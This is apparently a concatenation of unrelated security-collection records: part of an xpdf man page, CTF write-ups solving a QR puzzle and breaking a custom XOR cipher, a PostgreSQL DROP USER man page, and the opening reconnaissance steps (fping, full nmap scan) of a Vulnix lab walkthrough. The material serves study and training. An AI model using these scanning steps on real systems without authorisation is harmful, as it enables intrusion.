.BI fontmap " PDF-font" "" " X-font"
将
.I PDF-font
(PDF文件中指定的)布局到
.IR X-font
中去,X-font必须是一个在像素大小位置上含有\`%s`的标准X字体描述.
.PP
比如,使用
.PP
.RS
fontmap TimesCE-Roman -*-times-medium-r-*-*-%s-*-*-*-*-*-iso8859-2
.RE
.PP
来布局Central European(Latin-2)版的Times-Roman字体.这里假设您已经安装了适当的X字体(参见
.BR mkfontdir(1)
).
Xpdf理解ISO8859-2编码,所以您不需要这些字体的
.B fontpath
条目.
使用Bakoma Type 1字体,可以这样做:
.PP
.RS
fontpath /home/derekn/fonts/bakoma
.br
fontmap cmb10 -bakoma-cmb10-medium-r-normal--%s-*-*-*-p-*-adobe-fontspecific
.br
fontmap cmbsy10 -bakoma-cmbsy10-medium-r-normal--%s-*-*-*-p-*-adobe-fontspecific
.br
etc...
.RE
.PP
这里假设Type 1字体在目录
.IR /home/derekn/fonts/bakoma
下.
.SH 臭虫
不支持TypeType和Type 3字体.
.SH 作者
The xpdf software and documentation are copyright 1996-1999 Derek
B. Noonburg (derekn@foolabs.com).
.SH "另见"
.BR pdftops(1).
.BR pdftotext(1).
.BR pdfinfo(1).
.BR pdftopbm(1).
.BR pdfimages(1).
.br
.B http://www.foolabs.com/xpdf/
|
sec-knowleage
|
## QR Puzzle (Unknown, 200p)
Please solve a puzzle 300 times
QRpuzzle.zip
###PL
[ENG](#eng-version)
Dostajemy program, który wyświetla poszatkowane QR cody po uruchomieniu:

Dość oczywisty jest cel zadania - należy napisać program który złoży taki QR code, rozwiąże go, oraz wyśle do programu.
Moglibyśmy próbować go reversować, ale to wyraźnie co innego niż autorzy zadania zaplanowali dla nas, więc nie poszliśmy tą drogą.
Napisaliśmy w tym celu pewien bardzo duży solver, który:
- robił screena programu
- wyciągał z niego poszczególne fragmenty
- składał części w jedną (najtrudniejsza część oczywiśćie)
- dekodował wynikowy QR code
- wysyłał zdekodowany tekst do aplikacji
- czekał 500 ms i powtarzał ten cykl.
Kodu jest za dużo by omawiać go funkcja po funkcji, wklejona zostanie jedynie główna funkcja pokazująca te kroki ([pełen kod](Form1.cs)]:
```csharp
while (true)
{
using (var bmp = CaptureApplication("QRpuzzle"))
{
var chunks = Split(
18, 77,
160, 167,
6, 13,
3,
bmp);
var result = Bundle.Reconstruct(chunks, 3);
var reader = new BarcodeReader { PossibleFormats = new[] { BarcodeFormat.QR_CODE }, TryHarder = true };
result.Save("Test2.png");
var code = reader.Decode(result);
SendKeys.Send(code.Text);
Thread.Sleep(500);
}
}
```
Flaga:
SECCON{402B00F89DC8}
### ENG version
We get a program that displays scrambled QR codes when run:

It's obvious what task authors want from us - we have to write program that unscrambles given QR code and sends it to program.
Of course we could try to reverse engineer given program, but clearly task authors wanted us to solve challenge different way.
We have written large solver, that:
- captured program window to bitmap
- cut all 9 qr code fragments to different bitmaps
- put fragments in correct order (hardest part, by far)
- decoded resulting QR code
- sent decoded text to program
- slept 500 ms and repeated that cycle
Solver code is too large to be described function by function, so we will just paste main function here ([full code](Form1.cs)):
```csharp
while (true)
{
using (var bmp = CaptureApplication("QRpuzzle"))
{
var chunks = Split(
18, 77,
160, 167,
6, 13,
3,
bmp);
var result = Bundle.Reconstruct(chunks, 3);
var reader = new BarcodeReader { PossibleFormats = new[] { BarcodeFormat.QR_CODE }, TryHarder = true };
result.Save("Test2.png");
var code = reader.Decode(result);
SendKeys.Send(code.Text);
Thread.Sleep(500);
}
}
```
Flag:
SECCON{402B00F89DC8}
|
sec-knowleage
|
## Crypto 300 (crypto, 300p)
### PL
[ENG](#eng-version)
Bardzo ciekawe zadanie dla nas, musieliśmy sporo z nim powalczyć, ale w końcu udało się rozwiązać zagadkę szyfru.
Otóż dostajemy taki szyfr:
320b1c5900180a034c74441819004557415b0e0d1a316918011845524147384f5700264f48091e45
00110e41030d1203460b1d0752150411541b455741520544111d0000131e0159110f0c16451b0f1c
4a74120a170d460e13001e120a1106431e0c1c0a0a1017135a4e381b16530f330006411953664334
593654114e114c09532f271c490630110e0b0b
Oraz kod którym go zaszyfrowano (w wersji przepisanej przez nas do pythona, nie jesteśmy fanami PHP):
def encrypt(plainText):
space = 10
cipherText = ""
for i in range(len(plainText)):
if i + space < len(plainText) - 1:
cipherText += chr(ord(plainText[i]) ^ ord(plainText[i + space]))
else:
cipherText += chr(ord(plainText[i]) ^ ord(plainText[space]))
if ord(plainText[i]) % 2 == 0:
space += 1
else:
space -= 1
return cipherText
Bardzo komplikuje wszystko ta ruszająca się space. Ale jej stan zależy tylko od najniższego bitu, co wykorzystaliśmy przy rozwiązywaniu zadania.
Rozwiązywaliśmy je w dwóch częściach - najpierw odzyskaliśmy najniższe bity plaintextu, a później dopiero całe hasło.
Pierwsza próba złamania najniższych bitów wyglądała tak:
def verify(cipherText, guessedBits):
space = 10
for i in range(len(guessedBits)):
if i + space < len(cipherText) - 1:
if i + space >= len(guessedBits):
return True
if (ord(cipherText[i]) & 1) != ((ord(guessedBits[i]) & 1) ^ (ord(guessedBits[i + space]) & 1)):
return False
else:
if space >= len(guessedBits):
return True
if (ord(cipherText[i]) & 1) != ((ord(guessedBits[i]) & 1) ^ (ord(guessedBits[space]) & 1)):
return False
if guessedBits[i] == '0':
space += 1
else:
space -= 1
return True
def decrypt(cipherText, guessedBits, i):
if i >= len(cipherText):
print 'ok:', guessedBits
return
if len(guessedBits) == 10:
print (int(guessedBits, 2) / 1024.0) * 100, '%'
if verify(cipherText, guessedBits):
decrypt(cipherText, guessedBits + '0', i + 1)
decrypt(cipherText, guessedBits + '1', i + 1)
Konkretnie, był to bruteforce z odcinaniem - sprawdzaliśmy wszystkie możliwości, i jeśli verify() się nie udał, wychodziliśmy ze sprawdzanej gałęzi
Niestety, było to dużo za wolne. Zaczeliśmy od mikrooptymalizacji - jeśli dobrze pamiętam, przyśpieszyło to wykonanie skryptu prawie 600 razy (!) (a używaliśmy już pypy do wszystkich testów i tak):
def verify(cipherText, guessedBits, length, guessed_len):
space = 10
for i in range(guessed_len):
if i + space < length - 1:
if i + space >= guessed_len:
return True
if (cipherText[i] & 1) != ((guessedBits[i] & 1) ^ (guessedBits[i + space] & 1)):
return False
else:
if space >= guessed_len:
return True
if (cipherText[i] & 1) != ((guessedBits[i] & 1) ^ (guessedBits[space] & 1)):
return False
if guessedBits[i] == 0:
space += 1
else:
space -= 1
return True
def decrypt(cipherText):
guessed_bits = [0] * len(cipherText)
length = len(cipherText)
i = 0
orded_cipher = [ord(c) for c in cipherText]
decrypt_r(orded_cipher, guessed_bits, i, length)
def decrypt_r(orded_cipher, guessedBits, i, length):
if i >= length:
print 'ok:', guessedBits
return
if i == 10:
print (int(''.join(str(c) for c in guessedBits[:10]), 2) / 1024.0) * 100, '%'
if verify(orded_cipher, guessedBits, length, i):
guessedBits[i] = 0
decrypt_r(orded_cipher, guessedBits, i + 1, length)
guessedBits[i] = 1
decrypt_r(orded_cipher, guessedBits, i + 1, length)
Wykonywało się już relatywnie szybko. Odpaliliśmy to na czterech rdzeniach u jednego z członków naszego zespołu.
Ale nie zapowiadało się to zbyt optymistycznie, więc spróbowaliśmy jeszcze zmienić podejście (viva la algorytmika!). Zamiast za każdym razem weryfikować całe hasło (i wychodzić w przód niepotrzebnie), odrzucać niemożliwe rozwiązania od razu:
def decrypt(cipherText):
guessed_bits = ['?'] * len(cipherText)
length = len(cipherText)
i = 0
orded_cipher = [ord(c) & 1 for c in cipherText]
decrypt_r(orded_cipher, guessed_bits, i, length, 10)
def try_guess(orded_cipher, guessedbits, i, length, guess, space):
guessedbits = list(guessedbits)
guessedbits[i] = guess
if i + space < length - 1:
nextndx = i + space
else:
nextndx = space
nextbit = orded_cipher[i] ^ guess
if guess == 0:
newspace = space + 1
else:
newspace = space - 1
if guessedbits[nextndx] == '?' or guessedbits[nextndx] == nextbit:
guessedbits[nextndx] = nextbit
decrypt_r(orded_cipher, guessedbits, i + 1, length, newspace)
def decrypt_r(orded_cipher, guessedbits, i, length, space):
if i >= length:
print 'ok:', ''.join(str(c) for c in guessedbits)
return
if guessedbits[i] == '?':
try_guess(orded_cipher, guessedbits, i, length, 0, space)
try_guess(orded_cipher, guessedbits, i, length, 1, space)
elif guessedbits[i] == 0:
try_guess(orded_cipher, guessedbits, i, length, 0, space)
elif guessedbits[i] == 1:
try_guess(orded_cipher, guessedbits, i, length, 1, space)
Używamy tu swoistego triboola w tablicy guessedbits, czyli 0 oznacza "na pewno będzie tam 0", 1 oznacza "na pewno będzie tam 1", a ? oznacza ofc "nie wiadomo".
Pisanie i debugowanie tej wersji zajęło nam około godziny. A rozwiązanie dała dosłownie kilka sekund po uruchomieniu (poprzednia wersja ciągle się liczyła jeszcze).
Tak czy inaczej, poprawne rozwiązania (szukaliśmy tutaj najniższych bitów plaintextu, przypominam) były cztery:
sln = '1001011001110101110010100010110110010000010000100111010010111010010100111100001001110000011110010011110100101001010110010110101000110110100'
sln = '1001011001110101110010100010110110000100010111010011010000011001001100111100111011110000000110100001110100101001010110010110101000110110100'
sln = '0101011000010101110100001010000110100101001011010111000100111000010010000011001000110101001110101111110100001000110110101001010111111110100'
sln = '0101011000010101110100001010000110100101001011000011000100111000110010001100011001110101000010100001110101100111000100101001010111001001011'
Otrzymaliśmy w ten sposób układ równań dla 140 zmiennych. Nasza pierwsza próba to było użycie gotowego solvera do rozwiązania tego układu. Przykładowo dla 4 rozwiązania:
from constraint import *
problem = Problem()
ODD = range(33, 128, 2) + [13]
EVEN = range(32, 128, 2) + [10]
problem.addVariable(0, ODD)
problem.addVariable(1, EVEN)
problem.addVariable(2, EVEN)
problem.addVariable(3, ODD)
problem.addVariable(4, EVEN)
# (...) snip
problem.addVariable(134, ODD)
problem.addVariable(135, EVEN)
problem.addVariable(136, ODD)
problem.addVariable(137, EVEN)
problem.addVariable(138, EVEN)
problem.addConstraint(lambda av, bv: av ^ bv == 0x32, (0, 10))
problem.addConstraint(lambda av, bv: av ^ bv == 0xb, (1, 10))
problem.addConstraint(lambda av, bv: av ^ bv == 0x1c, (2, 12))
problem.addConstraint(lambda av, bv: av ^ bv == 0x59, (3, 14))
problem.addConstraint(lambda av, bv: av ^ bv == 0x0, (4, 14))
problem.addConstraint(lambda av, bv: av ^ bv == 0x18, (5, 16))
# (...) snip
problem.addConstraint(lambda av, bv: av ^ bv == 0x6, (133, 17))
problem.addConstraint(lambda av, bv: av ^ bv == 0x30, (134, 16))
problem.addConstraint(lambda av, bv: av ^ bv == 0x11, (135, 15))
problem.addConstraint(lambda av, bv: av ^ bv == 0xe, (136, 16))
problem.addConstraint(lambda av, bv: av ^ bv == 0xb, (137, 15))
problem.addConstraint(lambda av, bv: av ^ bv == 0xb, (138, 16))
print problem.getSolutions()
Niestety, solver wykonywał się wieki (nie mamy pewności czy wykonałby się w tym stuleciu). Dlatego, w czasie kiedy on się liczył, my zabraliśmy się za ręczne pisanie solvera:
import string
slv = [None] * len(sln)
def filling_pass(slv):
while True:
any = False
space = 10
for i in range(len(sln)):
if i + space < len(sln) - 1:
nx = i + space
else:
nx = space
if sln[i] == '0':
space += 1
else:
space -= 1
if slv[i] is not None:
sn = ord(slv[i]) ^ ord(ciph[i])
if slv[nx] is None:
slv[nx] = chr(sn)
if (sn >= 32 and sn < 127) or sn == 10 or sn == 13:
any = True
else:
return False
else:
if slv[nx] != chr(sn):
return False
if not any:
return True
def tryit(slvo, start):
while slvo[start] is not None:
start += 1
if start >= len(slvo):
print ''.join(' ' if c is None else '.' if ord(c) < 32 else c for c in slvo)
return
continue
for c in string.printable:
slv = list(slvo)
slv[start] = c
possible = filling_pass(slv)
if possible:
tryit(slv, start)
tryit(slv, 0)
I po raz drugi w tym zadaniu, to co liczyło się godziny/dni naiwnym programem, po poprawie algorytmu zadziałało w *sekundy*. Cieszy że mimo postępu komputerów jednak myślenie nad wydajnością ma czasami zastosowanie.
Konkretnie, nasze rozwiązanie działało na takiej zasadzie:
hasło = ['?'] * długość_hasła
while (nie wszystkie literki w haśle znane):
for char in charset:
podstaw char za kolejną literkę w haśle
wywnioskuj na podstawie znanych ograniczeń jak najwięcej innych znaków (funkcja filling_pass). Jeśli wyjdzie sprzeczność, zaniechaj, inaczej rekurencyjnie powtarzaj.
Odpaliliśmy więc nasz algorytm:
C:\Users\xxx\Code\RE\CTF\2015-10-02 def\crypto300>python hackz.py
Cpgl5bpyy5qz{p5lz`5VAS5eb{pg;5[zb5\5}tcp5az5r|cp5lz`5a}p5gpbtgq5szg5tyy5a}|f5}tgq5bzg~5zg5xtlwp5r`pff|{r;5A}p5sytr5|f5vgleat{tylf|fJ|fJ}tgq
Izmf?hzss?{pqz?fpj?\KY?ohqzm1?Qph?V?w~iz?kp?xviz?fpj?kwz?mzh~m{?ypm?~ss?kwvl?w~m{?hpmt?pm?r~f}z?xjzllvqx1?Kwz?ys~x?vl?|mfok~q~sflvl@vl@w~m{
Qbu~'pbkk'chib'~hr'DSA'wpibu)'Ihp'N'ofqb'sh'`nqb'~hr'sob'ubpfuc'ahu'fkk'sont'ofuc'phul'hu'jf~eb'`rbttni`)'Sob'akf`'nt'du~wsfifk~tntXntXofuc
Rav}$sahh$`kja$}kq$GPB$tsjav*$Jks$M$lera$pk$cmra$}kq$pla$vasev`$bkv$ehh$plmw$lev`$skvo$kv$ie}fa$cqawwmjc*$Pla$bhec$mw$gv}tpejeh}wmw[mw[lev`
S`w|%r`ii%ajk`%|jp%FQC%urk`w+%Kjr%L%mds`%qj%bls`%|jp%qm`%w`rdwa%cjw%dii%qmlv%mdwa%rjwn%jw%hd|g`%bp`vvlkb+%Qm`%cidb%lv%fw|uqdkdi|vlvZlvZmdwa
Tgp{"ugnn"fmlg"{mw"AVD"rulgp,"Lmu"K"jctg"vm"ektg"{mw"vjg"pgucpf"dmp"cnn"vjkq"jcpf"umpi"mp"oc{`g"ewgqqkle,"Vjg"dnce"kq"ap{rvclcn{qkq]kq]jcpf
Ufqz#tfoo#glmf#zlv#@WE#stmfq-#Mlt#J#kbuf#wl#djuf#zlv#wkf#qftbqg#elq#boo#wkjp#kbqg#tlqh#lq#nbzaf#dvfppjmd-#Wkf#eobd#jp#`qzswbmbozpjp\jp\kbqg
Very well done you CTF pwner. Now I have to give you the reward for all this hard work or maybe guessing. The flag is cryptanalysis_is_hard
Wdsx!vdmm!enod!xnt!BUG!qvods/!Onv!H!i`wd!un!fhwd!xnt!uid!sdv`se!gns!`mm!uihr!i`se!vnsj!ns!l`xcd!ftdrrhof/!Uid!gm`f!hr!bsxqu`o`mxrhr^hr^i`se
Xk|w.ykbb.ja`k.wa{.MZH.~y`k| .@ay.G.foxk.za.igxk.wa{.zfk.|kyo|j.ha|.obb.zfg}.fo|j.ya|e.a|.cowlk.i{k}}g`i .Zfk.hboi.g}.m|w~zo`obw}g}Qg}Qfo|j
C:\Users\xxx\Code\RE\CTF\2015-10-02 def\crypto300>
Świetnie - zdobyliśmy flagę - `cryptanalysis_is_hard`
### ENG version
Very interesting task for us, we had to put much effort into this by we finally solved it.
We get a ciphertext:
320b1c5900180a034c74441819004557415b0e0d1a316918011845524147384f5700264f48091e45
00110e41030d1203460b1d0752150411541b455741520544111d0000131e0159110f0c16451b0f1c
4a74120a170d460e13001e120a1106431e0c1c0a0a1017135a4e381b16530f330006411953664334
593654114e114c09532f271c490630110e0b0b
And code whcih was used to encode it (rewritten to Python since we're not fans of PHP):
def encrypt(plainText):
space = 10
cipherText = ""
for i in range(len(plainText)):
if i + space < len(plainText) - 1:
cipherText += chr(ord(plainText[i]) ^ ord(plainText[i + space]))
else:
cipherText += chr(ord(plainText[i]) ^ ord(plainText[space]))
if ord(plainText[i]) % 2 == 0:
space += 1
else:
space -= 1
return cipherText
The biggest issue here is the moving space. However its state depends only on the lowest bit of the plaintext character, which we exploited to solve the task.
The solution was split into two parts - first we extracted lowest bits of the plaintext and after that we decoded the whole ciphertext.
First attempts to extract the lowest bits:
def verify(cipherText, guessedBits):
space = 10
for i in range(len(guessedBits)):
if i + space < len(cipherText) - 1:
if i + space >= len(guessedBits):
return True
if (ord(cipherText[i]) & 1) != ((ord(guessedBits[i]) & 1) ^ (ord(guessedBits[i + space]) & 1)):
return False
else:
if space >= len(guessedBits):
return True
if (ord(cipherText[i]) & 1) != ((ord(guessedBits[i]) & 1) ^ (ord(guessedBits[space]) & 1)):
return False
if guessedBits[i] == '0':
space += 1
else:
space -= 1
return True
def decrypt(cipherText, guessedBits, i):
if i >= len(cipherText):
print 'ok:', guessedBits
return
if len(guessedBits) == 10:
print (int(guessedBits, 2) / 1024.0) * 100, '%'
if verify(cipherText, guessedBits):
decrypt(cipherText, guessedBits + '0', i + 1)
decrypt(cipherText, guessedBits + '1', i + 1)
This is a simple brute-force with prunning - we test all possibilities and if verify() failed we prune given branch.
Unfortunately this was too slow. We started with some optimization of the code - and if I remember correctly this resulted in 600 times faster execution (!) (and we were already running on pypy for all the tests):
def verify(cipherText, guessedBits, length, guessed_len):
space = 10
for i in range(guessed_len):
if i + space < length - 1:
if i + space >= guessed_len:
return True
if (cipherText[i] & 1) != ((guessedBits[i] & 1) ^ (guessedBits[i + space] & 1)):
return False
else:
if space >= guessed_len:
return True
if (cipherText[i] & 1) != ((guessedBits[i] & 1) ^ (guessedBits[space] & 1)):
return False
if guessedBits[i] == 0:
space += 1
else:
space -= 1
return True
def decrypt(cipherText):
guessed_bits = [0] * len(cipherText)
length = len(cipherText)
i = 0
orded_cipher = [ord(c) for c in cipherText]
decrypt_r(orded_cipher, guessed_bits, i, length)
def decrypt_r(orded_cipher, guessedBits, i, length):
if i >= length:
print 'ok:', guessedBits
return
if i == 10:
print (int(''.join(str(c) for c in guessedBits[:10]), 2) / 1024.0) * 100, '%'
if verify(orded_cipher, guessedBits, length, i):
guessedBits[i] = 0
decrypt_r(orded_cipher, guessedBits, i + 1, length)
guessedBits[i] = 1
decrypt_r(orded_cipher, guessedBits, i + 1, length)
This was already reasonably fast. We fired this four times for different prefixes on one machine.
But since we had to wait anyway, we decided to try a different approach (viva la algorithmics). Instead of verifying the whole password every time (by going forward) we rejected impossible solutions right away:
def decrypt(cipherText):
guessed_bits = ['?'] * len(cipherText)
length = len(cipherText)
i = 0
orded_cipher = [ord(c) & 1 for c in cipherText]
decrypt_r(orded_cipher, guessed_bits, i, length, 10)
def try_guess(orded_cipher, guessedbits, i, length, guess, space):
guessedbits = list(guessedbits)
guessedbits[i] = guess
if i + space < length - 1:
nextndx = i + space
else:
nextndx = space
nextbit = orded_cipher[i] ^ guess
if guess == 0:
newspace = space + 1
else:
newspace = space - 1
if guessedbits[nextndx] == '?' or guessedbits[nextndx] == nextbit:
guessedbits[nextndx] = nextbit
decrypt_r(orded_cipher, guessedbits, i + 1, length, newspace)
def decrypt_r(orded_cipher, guessedbits, i, length, space):
if i >= length:
print 'ok:', ''.join(str(c) for c in guessedbits)
return
if guessedbits[i] == '?':
try_guess(orded_cipher, guessedbits, i, length, 0, space)
try_guess(orded_cipher, guessedbits, i, length, 1, space)
elif guessedbits[i] == 0:
try_guess(orded_cipher, guessedbits, i, length, 0, space)
elif guessedbits[i] == 1:
try_guess(orded_cipher, guessedbits, i, length, 1, space)
We use a tri-value-boolean in guessedbits, 0 for `there is definitely 0`, 1 for `there is definitely 1` and ? for `don't know`.
It took us an hour to write this and debug but we got the results within a few seconds (while the previous version was still computing).
Anyway, the final correct sulutions (for lowest bits of the plaintext) were four:
sln = '1001011001110101110010100010110110010000010000100111010010111010010100111100001001110000011110010011110100101001010110010110101000110110100'
sln = '1001011001110101110010100010110110000100010111010011010000011001001100111100111011110000000110100001110100101001010110010110101000110110100'
sln = '0101011000010101110100001010000110100101001011010111000100111000010010000011001000110101001110101111110100001000110110101001010111111110100'
sln = '0101011000010101110100001010000110100101001011000011000100111000110010001100011001110101000010100001110101100111000100101001010111001001011'
This way we got a set of equations with 140 variables. We tried to use a constraint-programming solver to solve it. For example for the bits number 4:
from constraint import *
problem = Problem()
ODD = range(33, 128, 2) + [13]
EVEN = range(32, 128, 2) + [10]
problem.addVariable(0, ODD)
problem.addVariable(1, EVEN)
problem.addVariable(2, EVEN)
problem.addVariable(3, ODD)
problem.addVariable(4, EVEN)
# (...) snip
problem.addVariable(134, ODD)
problem.addVariable(135, EVEN)
problem.addVariable(136, ODD)
problem.addVariable(137, EVEN)
problem.addVariable(138, EVEN)
problem.addConstraint(lambda av, bv: av ^ bv == 0x32, (0, 10))
problem.addConstraint(lambda av, bv: av ^ bv == 0xb, (1, 10))
problem.addConstraint(lambda av, bv: av ^ bv == 0x1c, (2, 12))
problem.addConstraint(lambda av, bv: av ^ bv == 0x59, (3, 14))
problem.addConstraint(lambda av, bv: av ^ bv == 0x0, (4, 14))
problem.addConstraint(lambda av, bv: av ^ bv == 0x18, (5, 16))
# (...) snip
problem.addConstraint(lambda av, bv: av ^ bv == 0x6, (133, 17))
problem.addConstraint(lambda av, bv: av ^ bv == 0x30, (134, 16))
problem.addConstraint(lambda av, bv: av ^ bv == 0x11, (135, 15))
problem.addConstraint(lambda av, bv: av ^ bv == 0xe, (136, 16))
problem.addConstraint(lambda av, bv: av ^ bv == 0xb, (137, 15))
problem.addConstraint(lambda av, bv: av ^ bv == 0xb, (138, 16))
print problem.getSolutions()
Unfortunately, it was taking a long time (and we're not sure if it would compute in this century). So in the meanwhile we attempted to make a custom solver:
import string
slv = [None] * len(sln)
def filling_pass(slv):
while True:
any = False
space = 10
for i in range(len(sln)):
if i + space < len(sln) - 1:
nx = i + space
else:
nx = space
if sln[i] == '0':
space += 1
else:
space -= 1
if slv[i] is not None:
sn = ord(slv[i]) ^ ord(ciph[i])
if slv[nx] is None:
slv[nx] = chr(sn)
if (sn >= 32 and sn < 127) or sn == 10 or sn == 13:
any = True
else:
return False
else:
if slv[nx] != chr(sn):
return False
if not any:
return True
def tryit(slvo, start):
while slvo[start] is not None:
start += 1
if start >= len(slvo):
print ''.join(' ' if c is None else '.' if ord(c) < 32 else c for c in slvo)
return
continue
for c in string.printable:
slv = list(slvo)
slv[start] = c
possible = filling_pass(slv)
if possible:
tryit(slv, start)
tryit(slv, 0)
And again for the second time in this task, what was taking hours in the naive implementation, took only *seconds* with a better algorithm. It's nice to think that even though we get more and more powerful computers, thinking about the computational complexity pays off sometimes.
The solver worked like this:
plaintext = ['?'] * plaintext_length
while (not all characters in plaintext are decoded):
for char in charset:
use char as next letter in password
using known constraints try to figure out as much as possible of next characters in plaintext (filling_pass function). If there is a constraint violation break, otherwise repeat recursively.
This way we got:
C:\Users\xxx\Code\RE\CTF\2015-10-02 def\crypto300>python hackz.py
Cpgl5bpyy5qz{p5lz`5VAS5eb{pg;5[zb5\5}tcp5az5r|cp5lz`5a}p5gpbtgq5szg5tyy5a}|f5}tgq5bzg~5zg5xtlwp5r`pff|{r;5A}p5sytr5|f5vgleat{tylf|fJ|fJ}tgq
Izmf?hzss?{pqz?fpj?\KY?ohqzm1?Qph?V?w~iz?kp?xviz?fpj?kwz?mzh~m{?ypm?~ss?kwvl?w~m{?hpmt?pm?r~f}z?xjzllvqx1?Kwz?ys~x?vl?|mfok~q~sflvl@vl@w~m{
Qbu~'pbkk'chib'~hr'DSA'wpibu)'Ihp'N'ofqb'sh'`nqb'~hr'sob'ubpfuc'ahu'fkk'sont'ofuc'phul'hu'jf~eb'`rbttni`)'Sob'akf`'nt'du~wsfifk~tntXntXofuc
Rav}$sahh$`kja$}kq$GPB$tsjav*$Jks$M$lera$pk$cmra$}kq$pla$vasev`$bkv$ehh$plmw$lev`$skvo$kv$ie}fa$cqawwmjc*$Pla$bhec$mw$gv}tpejeh}wmw[mw[lev`
S`w|%r`ii%ajk`%|jp%FQC%urk`w+%Kjr%L%mds`%qj%bls`%|jp%qm`%w`rdwa%cjw%dii%qmlv%mdwa%rjwn%jw%hd|g`%bp`vvlkb+%Qm`%cidb%lv%fw|uqdkdi|vlvZlvZmdwa
Tgp{"ugnn"fmlg"{mw"AVD"rulgp,"Lmu"K"jctg"vm"ektg"{mw"vjg"pgucpf"dmp"cnn"vjkq"jcpf"umpi"mp"oc{`g"ewgqqkle,"Vjg"dnce"kq"ap{rvclcn{qkq]kq]jcpf
Ufqz#tfoo#glmf#zlv#@WE#stmfq-#Mlt#J#kbuf#wl#djuf#zlv#wkf#qftbqg#elq#boo#wkjp#kbqg#tlqh#lq#nbzaf#dvfppjmd-#Wkf#eobd#jp#`qzswbmbozpjp\jp\kbqg
Very well done you CTF pwner. Now I have to give you the reward for all this hard work or maybe guessing. The flag is cryptanalysis_is_hard
Wdsx!vdmm!enod!xnt!BUG!qvods/!Onv!H!i`wd!un!fhwd!xnt!uid!sdv`se!gns!`mm!uihr!i`se!vnsj!ns!l`xcd!ftdrrhof/!Uid!gm`f!hr!bsxqu`o`mxrhr^hr^i`se
Xk|w.ykbb.ja`k.wa{.MZH.~y`k| .@ay.G.foxk.za.igxk.wa{.zfk.|kyo|j.ha|.obb.zfg}.fo|j.ya|e.a|.cowlk.i{k}}g`i .Zfk.hboi.g}.m|w~zo`obw}g}Qg}Qfo|j
C:\Users\xxx\Code\RE\CTF\2015-10-02 def\crypto300>
Great, we got the flag - `cryptanalysis_is_hard`
|
sec-knowleage
|
.\" auto-generated by docbook2man-spec $Revision: 1.1 $
.TH "DROP USER" "7" "2003-11-02" "SQL - Language Statements" "SQL Commands"
.SH NAME
DROP USER \- 删除一个数据库用户帐号
.SH SYNOPSIS
.sp
.nf
DROP USER \fIname\fR
.sp
.fi
.SH "DESCRIPTION 描述"
.PP
\fBDROP USER\fR 从数据库中删除指定的用户。 它不删除数据库里此用户所有的表,视图或其他对象。 如果该用户拥有任何数据库,你会收到一个错误信息。
.SH "PARAMETERS 参数"
.TP
\fB\fIname\fB\fR
一个现存用户的名称。
.SH "NOTES 注意"
.PP
PostgreSQL 还有一个程序 dropuser [\fBdropuser\fR(1)] , 这个程序和这条命令功能相同(实际上,程序里调用此命令), 但是可以在命令行上运行。
.PP
To drop a user who owns a database, first drop the database or change
its ownership.
.SH "EXAMPLES 例子"
.PP
删除一个用户帐户:
.sp
.nf
DROP USER jonathan;
.sp
.fi
.SH "COMPATIBILITY 兼容性"
.PP
\fBDROP USER\fR 语句是一个 PostgreSQL 的扩展。SQL 标准把用户的定义交给具体实现处理。
.SH "SEE ALSO 参见"
ALTER USER [\fBalter_user\fR(7)], CREATE USER [\fBcreate_user\fR(l)]
.SH "译者"
.B Postgresql 中文网站
.B 何伟平 <laser@pgsqldb.org>
|
sec-knowleage
|
# HackLAB:vulnix
> 下载地址:https://download.vulnhub.com/hacklab/Vulnix.7z
## 实战操作
### 信息收集
```
┌──(root💀kali)-[~]
└─# fping -a -g 192.168.32.0/24 > /tmp/scan.log
┌──(root💀kali)-[~]
└─# cat /tmp/scan.log 1 ⨯
192.168.32.1
192.168.32.2
192.168.32.130
192.168.32.143
```
找到靶机IP:`192.168.32.143`
对IP进行端口扫描
```
┌──(root💀kali)-[~]
└─# nmap -sT -sC -sV -A -O -p1-65535 192.168.32.143
Starting Nmap 7.92 ( https://nmap.org ) at 2022-05-29 21:58 EDT
Nmap scan report for 192.168.32.143
Host is up (0.00085s latency).
Not shown: 65518 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 5.9p1 Debian 5ubuntu1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 1024 10:cd:9e:a0:e4:e0:30:24:3e:bd:67:5f:75:4a:33:bf (DSA)
| 2048 bc:f9:24:07:2f:cb:76:80:0d:27:a6:48:52:0a:24:3a (RSA)
|_ 256 4d:bb:4a:c1:18:e8:da:d1:82:6f:58:52:9c:ee:34:5f (ECDSA)
25/tcp open smtp Postfix smtpd
|_smtp-commands: vulnix, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN
|_ssl-date: 2022-05-30T01:58:33+00:00; +2s from scanner time.
79/tcp open finger Linux fingerd
|_finger: No one logged on.\x0D
110/tcp open pop3 Dovecot pop3d
|_pop3-capabilities: SASL PIPELINING TOP RESP-CODES STLS UIDL CAPA
|_ssl-date: 2022-05-30T01:58:33+00:00; +2s from scanner time.
111/tcp open rpcbind 2-4 (RPC #100000)
| rpcinfo:
| program version port/proto service
| 100000 2,3,4 111/tcp rpcbind
| 100000 2,3,4 111/udp rpcbind
| 100000 3,4 111/tcp6 rpcbind
| 100000 3,4 111/udp6 rpcbind
| 100003 2,3,4 2049/tcp nfs
| 100003 2,3,4 2049/tcp6 nfs
| 100003 2,3,4 2049/udp nfs
| 100003 2,3,4 2049/udp6 nfs
| 100005 1,2,3 34690/tcp mountd
| 100005 1,2,3 40182/tcp6 mountd
| 100005 1,2,3 46697/udp mountd
| 100005 1,2,3 48580/udp6 mountd
| 100021 1,3,4 35088/tcp6 nlockmgr
| 100021 1,3,4 37627/tcp nlockmgr
| 100021 1,3,4 47312/udp nlockmgr
| 100021 1,3,4 56054/udp6 nlockmgr
| 100024 1 32992/udp status
| 100024 1 45632/tcp status
| 100024 1 55313/udp6 status
| 100024 1 59036/tcp6 status
| 100227 2,3 2049/tcp nfs_acl
| 100227 2,3 2049/tcp6 nfs_acl
| 100227 2,3 2049/udp nfs_acl
|_ 100227 2,3 2049/udp6 nfs_acl
143/tcp open imap Dovecot imapd
|_imap-capabilities: capabilities more IMAP4rev1 SASL-IR Pre-login STARTTLS LITERAL+ IDLE LOGIN-REFERRALS post-login listed ENABLE have LOGINDISABLEDA0001 OK ID
|_ssl-date: 2022-05-30T01:58:33+00:00; +2s from scanner time.
512/tcp open exec netkit-rsh rexecd
513/tcp open login OpenBSD or Solaris rlogind
514/tcp open tcpwrapped
993/tcp open ssl/imaps?
